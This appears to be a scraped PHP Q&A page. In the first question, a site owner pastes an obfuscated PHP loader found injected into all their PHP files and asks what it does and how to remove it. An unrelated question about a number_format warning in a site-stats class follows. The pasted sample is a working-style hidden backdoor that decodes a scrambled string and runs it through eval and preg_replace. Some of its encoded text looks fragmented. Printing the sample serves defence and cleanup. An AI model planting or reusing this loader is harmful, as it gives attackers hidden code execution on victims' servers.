What exactly does this PHP exploit code - php

This exploit was in the header of all my PHP files on my server...any ideas what it does ?
Do you know how to batch remove it?
<?php
$hngctorffh = 's%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udx5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x57822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjud<*QDU%x5c%x7860MPT7-NB**^#zsfvr#%x5c%x785cq%x5c%x7825)uftt%x5c%x7860{66~6<&w6<%x5c%x75c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x782%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x56]61]y33]68]y34]68]y33]257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81],*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827FSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x78&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%)54l}%x5c%x7827;%x5c%x7825!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]yj%x5c%x7822)gj6<^#Y#%x5%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},56#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x0QUUI7jsv%x5c%x78257UFH#%x5c%x7827rf%x782f7^#iubq#%x5c%x785cq%x5c%x7825%825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x5c%x78786<C%x5c%x7827&6<*rfstmfV%x5c%x787f<*XAZASV<*w%xz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6dx78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%445]43]321]464]284]364]ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P82f},;#-#}+;%x5c%x7825-qp%x5c%x7825uhofm%x5c%x7825:-5ppde:4:|:**#ppde25%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x556]y78]248]y83]256]y81]265]y72]254]y7~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x78c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x7r.985:52985-t.98]K4]65]D8]86]5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x*0f(-!#]y76]277]y72]265]y39]271]y83]2h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd7822#)fepmqyfA>2b%x5c%825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{function fjfgg($n){return ch0hA%x5c%x7827pd%x5c%x7825!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275~<#%x5c%x782f%x5c%x7825%x5c%<#64y]552]e7y]#>n%x5c%x7825<#37fw6*3qj%x5c%x78257>%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f*#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x78;ldpt%x5c%x7825}K;%x5c%<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7ussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275tt65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%825)n%x5c%x7825-#+I#)q%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7823:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN77]D4]82]K6]72]K9]78]K5]53]Kc#7825mm)%x5c%x7825%x5c%x7878:-!%x55)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeo787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tu87f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%25>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x78x5c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c8256<%x5c%x787fw6*%x5cy]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3ox7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,^%x5c%x782f%x5c%x7825r%x5c%x7c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{ex782f#M5]DgP5]D6#<%x5c%x7825fdy>60%x5c%x785c^>Ew:Qb:Qc:W%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!*y84]275]y83]273]y76]277#<%x5c%x782584]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x78TQcOc%x5c%x782f#00#W~!Yx5c%x7827&6<%x5c%x787fw6*%x5c%xef)#%x5c%x7824*<!%x5c%x7825kj:!**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*o%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]6utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f25fdy<Cb*[%x5c%x7825h!>!%x5c%x78g}%x5c%x7878;0]=])0#)U!%5c%x782f#7e:55946-tr.984:75983:48984:71]K9]x5c%x7825ggg)(0)%x5c%x782f+%x5c%x7825j>1<%x5c%x7825j=6[%58]y6g]273]y76]271]y7d]252]y74]2;uqpuft%x5c%x7860msvd}+;!>!}%x5*WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%6<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x782525!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x8]y76#<%x5c%x78e%x5c%x78b%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:>q%x5c%x7825<#762]67y]562]38y]572]4825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>h%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x78275597f-s.973:8297f:5297e:56-%x5c%x7878x7860QUUI&b%x5c%x7825!|!*)323zbek!7825>%x5c%x782fh%x5c%x7825:0%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x78HB%x5c%x7860SFTV%x5c%sbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%xx2c%163%x74%162%x5f%163%x70%154%x69%164%7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x750%x22%134%x78%62%x35%165%x3a%146%x21mg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x782x7860ufldpt}X;%x5c%x7fsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]8mgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x78253Ld]53]Kc]55Ld]55#*<%xc%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x6ovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*)fepdof.)fepdof.%x5c%x7x7825!<*qp%x5c%x7825-*.%27;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovx5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x782x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x78622)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x78x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:f:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}3gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!sr(ord($n)-1);} #error_reporting(0); preg_rep~!%x5c%x7825z!>2<!gps)5c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bdj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7###7%x5cx5c%x7825:osvufs:~928>>%!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdyfbuf%x5c%x7860gvodujpo)##-!#;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x78#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tddrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%%x5c%x7825-#1GO%x5c%x76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }25V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%ofuopd%x5c%x7860ufh%x5c%x7860fmjg}[5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOF25!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tA%x5c%x7827doj%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!dsc%x7825z>3<!fmtf!%x5c%x5c%x7825)euhA)3of>2bd%x5c%x7825!<582f###%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobsx7824-%x5c%x7824!>!fyqmp825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x34}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]2x5c%x7827{**u%x5c%x7825-c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7%x7825z<jg!)%x5c%x7825z>>2*!%x556<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<opjudovg)!gj!|!*msv%x5c%x7825)}k%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273],*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%xsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272q]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x860msvd}R;*msv%x5c%x7825)}.;c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hc%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860c5)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubc%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!72]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#25<#g6R85,67R37,18R#>q%x5c%x78x78257-C)fepmqnjA%x5c%x7827&6<.fmjgy31]278]y3f]51L3]84]y31M6]y3e]81#%xH*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825isset($GLOBALS["%x61%156%x75%156%x61"])))) { ,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x787f_*#ujojRk3%x55c%x7824-%x5c%x7824-!%x5c%x78]281Ld]245]K2]285]Ke]5#%x5c%x782f#%x5c%x7825#%x5c%x782f#olace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6bz+sfwjidsb%x5c%x7860bj+upcotn+qx7825z>2<!%x5c%x7825fmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x78sq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tp#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2pV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%87fw6*CW&)7gj6<*doj%x5c%$GLOBALS["%x61%156%x75%156%x61"]=1; fx7825)utjm6<%x5c%x783]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5~~~<ftmbg!osvufs!|ftmf!~<foopdXA%x5c%x7822)7gj6%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5x5c%x7878{**#k#)tutjyf%x5c%x786y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQe%x7825tmw)%x5c%x7825tww*7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x76%152%x66%147%x67%42%}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5cc%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x78/(.*)/epreg_replacevgtceydjcr';
$gifkmxealv = explode(chr((199 - 155)) , '8313,61,8565,45,9241,37,1894,27,6112,44,8832,69,5398,63,9922,21,4851,40,4927,37,3901,54,4377,32,5822,57,1921,25,4260,69,5718,40,7551,58,5516,42,726,41,9278,20,7417,37,483,64,1072,28,7641,49,3955,48,962,36,0,66,9440,22,286,22,660,66,2121,23,8013,56,7860,65,6242,62,998,36,5662,56,308,36,843,23,9148,69,1175,42,344,27,9217,24,8459,35,6917,21,3258,22,9348,67,8249,64,9784,70,1695,62,8725,21,3116,44,3786,31,2953,52,6740,35,2256,23,5093,21,7985,28,866,54,4189,31,2144,70,1946,64,7609,32,9415,25,8205,44,5334,42,6328,47,6819,44,9854,68,2720,49,8108,50,3848,53,8953,46,4484,66,4964,63,3540,57,2214,42,5879,66,6178,64,6613,21,1833,22,5581,24,7024,35,1794,39,4550,62,608,52,5558,23,7059,62,5027,66,2899,54,8901,32,7796,64,8999,51,5162,46,6060,52,4798,53,6775,44,4777,21,4649,34,1569,56,4329,48,180,63,1625,41,3005,64,7203,37,6462,37,1413,34,767,27,2474,56,6304,24,2530,57,5114,48,1447,34,3446,38,243,43,5461,55,8069,39,9097,51,1855,39,1100,27,3694,69,3160,54,8429,30,6687,53,9530,31,4710,67,5605,57,4034,24,7345,24,9050,47,8797,35,7925,60,7690,55,9561,69,3632,62,3597,35,2010,53,7454,66,1034,38,4683,27,2279,36,2315,36,2691,29,1217,53,5945,52,2091,30,8374,55,4448,36,3280,46,5997,63,7297,48,4157,32,920,42,8746,29,1481,51,7369,48,66,56,416,44,5208,66,3397,49,3326,42,7745,51,9722,62,6938,64,6434,28,2063,28,7121,24,3817,31,794,49,2769,67,9943,44,9630,68,3763,23,6555,58,6863,54,2351,55,8529,36,8158,47,7145,58,9698,24,4220,40,5758,64,4612,37,1666,29,8494,35,4058,43,2836,30,2634,57,3484,32,6499,56,1127,48,8775,22,5376,22,371,45,4003,31,6375,59,1356,57,5274,60,9298,50,1270,23,122,58,9987,66,3368,29,7240,57,4891,36,4409,39,8610,58,9462,68,10053,53,3516,24,6156,22,4128,29,3214,44,7520,31,7002,22,8933,20,1293,63,2866,33,2406,68,8668,57,547,61,3069,47,4101,27,1757,37,1532,37,460,23,2587,47,6634,53');
$jqasilvkah = substr($hngctorffh, (70221 - 60115) , (46 - 39));
if (!function_exists('dkoxpnkcvz'))
{
function dkoxpnkcvz($uquevssmbb, $gbjfyuptqv)
{
$rafkiwpxdo = NULL;
for ($bjfdqjrsbp = 0; $bjfdqjrsbp < (sizeof($uquevssmbb) / 2); $bjfdqjrsbp++)
{
$rafkiwpxdo.= substr($gbjfyuptqv, $uquevssmbb[($bjfdqjrsbp * 2) ], $uquevssmbb[($bjfdqjrsbp * 2) + 1]);
}
return $rafkiwpxdo;
};
}
$jbwtpislvw = "\x20\57\x2a\40\x68\157\x7a\165\x61\154\x68\162\x6a\165\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\62\x37\55\x39\60\x29\51\x2c\40\x63\150\x72\50\x28\66\x33\60\x2d\65\x33\70\x29\51\x2c\40\x64\153\x6f\170\x70\156\x6b\143\x76\172\x28\44\x67\151\x66\153\x6d\170\x65\141\x6c\166\x2c\44\x68\156\x67\143\x74\157\x72\146\x66\150\x29\51\x29\73\x20\57\x2a\40\x7a\164\x65\144\x70\145\x73\170\x77\147\x20\52\x2f\40";
$clpjwpghsa = substr($hngctorffh, (42911 - 32798) , (54 - 42));
$clpjwpghsa($jqasilvkah, $jbwtpislvw, NULL);
$clpjwpghsa = $jbwtpislvw;
$clpjwpghsa = (471 - 350);
$hngctorffh = $clpjwpghsa - 1;
?>

Related

PHP Warning: number_format() expects parameter 1 to be float [duplicate]

This question already has answers here:
Warning: number_format() expects parameter 1 to be double, string given [closed]
(3 answers)
Closed 5 months ago.
Can you please someone help me with this code I got
PHP Warning: number_format() expects parameter 1 to be float, string given in line 39
I am copied the whole class I hope that will help you better to find the problem.
class stats_site extends stats {
function __construct() {
global $CONF, $DB, $FORM, $LNG, $TMPL;
$TMPL['header'] = $LNG['stats_header'];
$TMPL['username'] = $DB->escape($FORM['u'], 1);
$stats = $DB->fetch("SELECT * FROM {$CONF['sql_prefix']}_stats WHERE username = '{$TMPL['username']}'", __FILE__, __LINE__);
unset($stats['username']);
$sites = array($DB->fetch("SELECT * FROM {$CONF['sql_prefix']}_sites WHERE username = '{$TMPL['username']}'", __FILE__, __LINE__));
if ($stats) {
$TMPL = array_merge($TMPL, $stats, $sites);
$TMPL['unq_pv_max_daily'] = $TMPL['unq_pv_0_daily'] > $TMPL['unq_pv_max_daily'] ? $TMPL['unq_pv_0_daily'] : $TMPL['unq_pv_max_daily'];
$TMPL['tot_pv_max_daily'] = $TMPL['tot_pv_0_daily'] > $TMPL['tot_pv_max_daily'] ? $TMPL['tot_pv_0_daily'] : $TMPL['tot_pv_max_daily'];
$TMPL['unq_in_max_daily'] = $TMPL['unq_in_0_daily'] > $TMPL['unq_in_max_daily'] ? $TMPL['unq_in_0_daily'] : $TMPL['unq_in_max_daily'];
$TMPL['tot_in_max_daily'] = $TMPL['tot_in_0_daily'] > $TMPL['tot_in_max_daily'] ? $TMPL['tot_in_0_daily'] : $TMPL['tot_in_max_daily'];
$TMPL['unq_out_max_daily'] = $TMPL['unq_out_0_daily'] > $TMPL['unq_out_max_daily'] ? $TMPL['unq_out_0_daily'] : $TMPL['unq_out_max_daily'];
$TMPL['tot_out_max_daily'] = $TMPL['tot_out_0_daily'] > $TMPL['tot_out_max_daily'] ? $TMPL['tot_out_0_daily'] : $TMPL['tot_out_max_daily'];
$TMPL['unq_pv_max_weekly'] = $TMPL['unq_pv_0_weekly'] > $TMPL['unq_pv_max_weekly'] ? $TMPL['unq_pv_0_weekly'] : $TMPL['unq_pv_max_weekly'];
$TMPL['tot_pv_max_weekly'] = $TMPL['tot_pv_0_weekly'] > $TMPL['tot_pv_max_weekly'] ? $TMPL['tot_pv_0_weekly'] : $TMPL['tot_pv_max_weekly'];
$TMPL['unq_in_max_weekly'] = $TMPL['unq_in_0_weekly'] > $TMPL['unq_in_max_weekly'] ? $TMPL['unq_in_0_weekly'] : $TMPL['unq_in_max_weekly'];
$TMPL['tot_in_max_weekly'] = $TMPL['tot_in_0_weekly'] > $TMPL['tot_in_max_weekly'] ? $TMPL['tot_in_0_weekly'] : $TMPL['tot_in_max_weekly'];
$TMPL['unq_out_max_weekly'] = $TMPL['unq_out_0_weekly'] > $TMPL['unq_out_max_weekly'] ? $TMPL['unq_out_0_weekly'] : $TMPL['unq_out_max_weekly'];
$TMPL['tot_out_max_weekly'] = $TMPL['tot_out_0_weekly'] > $TMPL['tot_out_max_weekly'] ? $TMPL['tot_out_0_weekly'] : $TMPL['tot_out_max_weekly'];
$TMPL['unq_pv_max_monthly'] = $TMPL['unq_pv_0_monthly'] > $TMPL['unq_pv_max_monthly'] ? $TMPL['unq_pv_0_monthly'] : $TMPL['unq_pv_max_monthly'];
$TMPL['tot_pv_max_monthly'] = $TMPL['tot_pv_0_monthly'] > $TMPL['tot_pv_max_monthly'] ? $TMPL['tot_pv_0_monthly'] : $TMPL['tot_pv_max_monthly'];
$TMPL['unq_in_max_monthly'] = $TMPL['unq_in_0_monthly'] > $TMPL['unq_in_max_monthly'] ? $TMPL['unq_in_0_monthly'] : $TMPL['unq_in_max_monthly'];
$TMPL['tot_in_max_monthly'] = $TMPL['tot_in_0_monthly'] > $TMPL['tot_in_max_monthly'] ? $TMPL['tot_in_0_monthly'] : $TMPL['tot_in_max_monthly'];
$TMPL['unq_out_max_monthly'] = $TMPL['unq_out_0_monthly'] > $TMPL['unq_out_max_monthly'] ? $TMPL['unq_out_0_monthly'] : $TMPL['unq_out_max_monthly'];
$TMPL['tot_out_max_monthly'] = $TMPL['tot_out_0_monthly'] > $TMPL['tot_out_max_monthly'] ? $TMPL['tot_out_0_monthly'] : $TMPL['tot_out_max_monthly'];
$this->averages();
$TMPL['average_rating'] = $TMPL['num_ratings'] > 0 ? round($TMPL['total_rating'] / $TMPL['num_ratings'], 0) : 0;
$stats = array_map('number_format', $stats);
$TMPL = array_merge($TMPL, $stats);
$this->locale();
$TMPL['header'] .= " - {$TMPL['title']}";
$TMPL['category_url'] = urlencode($TMPL['category']);
$query = "SELECT id, date, review FROM {$CONF['sql_prefix']}_reviews WHERE username = '{$TMPL['username']}' AND active = 1";
if (isset($FORM['all_reviews']) && $FORM['all_reviews']) {
$result = $DB->query("{$query} ORDER BY date DESC", __FILE__, __LINE__);
}
else {
$result = $DB->select_limit("{$query} ORDER BY RAND()", 2, 0, __FILE__, __LINE__);
}
$TMPL['reviews'] = '';
while (list($TMPL['id'], $TMPL['date'], $TMPL['review']) = $DB->fetch_array($result)) {
$TMPL['reviews'] .= $this->do_skin('stats_review');
}
$TMPL['content'] = $this->do_skin('stats');
}
else {
$this->error($LNG['g_invalid_u']);
}
}
}
And line 39 is this line here:
$stats = array_map('number_format', $stats);
Many thanks in advance!
EDIT
I've put here THE FULL CODE so you can better fix the problem with it.
I tried everything you advice here but it doesn't help :(
Here is the full code:
<?php
if (!defined('ATSPHP')) {
die("This file cannot be accessed directly.");
}
class stats extends base {
function __construct() {
global $FORM;
if (isset($FORM['u'])) { $stats = new stats_site; }
else { $stats = new stats_overall; }
}
function averages() {
global $TMPL;
$ranking_periods = array('daily', 'weekly', 'monthly');
$ranking_methods = array('unq_pv', 'tot_pv', 'unq_in', 'tot_in', 'unq_out', 'tot_out');
foreach ($ranking_periods as $ranking_period) {
foreach ($ranking_methods as $ranking_method) {
$TMPL["{$ranking_method}_avg_{$ranking_period}"] = 0;
for ($i = 0; $i < 10; $i++) {
$TMPL["{$ranking_method}_avg_{$ranking_period}"] = $TMPL["{$ranking_method}_avg_{$ranking_period}"] + $TMPL["{$ranking_method}_{$i}_{$ranking_period}"];
}
$TMPL["{$ranking_method}_avg_{$ranking_period}"] = number_format($TMPL["{$ranking_method}_avg_{$ranking_period}"] / 10, 1);
}
}
}
function locale() {
global $CONF, $LNG, $TMPL;
setlocale(LC_ALL, $CONF['default_language']);
for ($i = 2; $i < 10; $i++) {
$TMPL["{$i}_daily"] = strftime('%B %d', time()-3600*24*$i + (3600*$CONF['time_offset']));
}
for ($i = 2; $i < 10; $i++) {
$TMPL["{$i}_weekly"] = "{$LNG['stats_week']} ".date('W', time()-3600*24*7*$i + (3600*$CONF['time_offset']));
}
for ($i = 2; $i < 10; $i++) {
$TMPL["{$i}_monthly"] = strftime('%B %y', mktime(0, 0, 0, date('m')-$i, 1));
}
}
}
class stats_site extends stats {
function __construct() {
global $CONF, $DB, $FORM, $LNG, $TMPL;
$TMPL['header'] = $LNG['stats_header'];
$TMPL['username'] = $DB->escape($FORM['u'], 1);
$stats = $DB->fetch("SELECT * FROM {$CONF['sql_prefix']}_stats WHERE username = '{$TMPL['username']}'", __FILE__, __LINE__);
unset($stats['username']);
$sites = array($DB->fetch("SELECT * FROM {$CONF['sql_prefix']}_sites WHERE username = '{$TMPL['username']}'", __FILE__, __LINE__));
if ($stats) {
$TMPL = array_merge($TMPL, $stats, $sites);
$TMPL['unq_pv_max_daily'] = $TMPL['unq_pv_0_daily'] > $TMPL['unq_pv_max_daily'] ? $TMPL['unq_pv_0_daily'] : $TMPL['unq_pv_max_daily'];
$TMPL['tot_pv_max_daily'] = $TMPL['tot_pv_0_daily'] > $TMPL['tot_pv_max_daily'] ? $TMPL['tot_pv_0_daily'] : $TMPL['tot_pv_max_daily'];
$TMPL['unq_in_max_daily'] = $TMPL['unq_in_0_daily'] > $TMPL['unq_in_max_daily'] ? $TMPL['unq_in_0_daily'] : $TMPL['unq_in_max_daily'];
$TMPL['tot_in_max_daily'] = $TMPL['tot_in_0_daily'] > $TMPL['tot_in_max_daily'] ? $TMPL['tot_in_0_daily'] : $TMPL['tot_in_max_daily'];
$TMPL['unq_out_max_daily'] = $TMPL['unq_out_0_daily'] > $TMPL['unq_out_max_daily'] ? $TMPL['unq_out_0_daily'] : $TMPL['unq_out_max_daily'];
$TMPL['tot_out_max_daily'] = $TMPL['tot_out_0_daily'] > $TMPL['tot_out_max_daily'] ? $TMPL['tot_out_0_daily'] : $TMPL['tot_out_max_daily'];
$TMPL['unq_pv_max_weekly'] = $TMPL['unq_pv_0_weekly'] > $TMPL['unq_pv_max_weekly'] ? $TMPL['unq_pv_0_weekly'] : $TMPL['unq_pv_max_weekly'];
$TMPL['tot_pv_max_weekly'] = $TMPL['tot_pv_0_weekly'] > $TMPL['tot_pv_max_weekly'] ? $TMPL['tot_pv_0_weekly'] : $TMPL['tot_pv_max_weekly'];
$TMPL['unq_in_max_weekly'] = $TMPL['unq_in_0_weekly'] > $TMPL['unq_in_max_weekly'] ? $TMPL['unq_in_0_weekly'] : $TMPL['unq_in_max_weekly'];
$TMPL['tot_in_max_weekly'] = $TMPL['tot_in_0_weekly'] > $TMPL['tot_in_max_weekly'] ? $TMPL['tot_in_0_weekly'] : $TMPL['tot_in_max_weekly'];
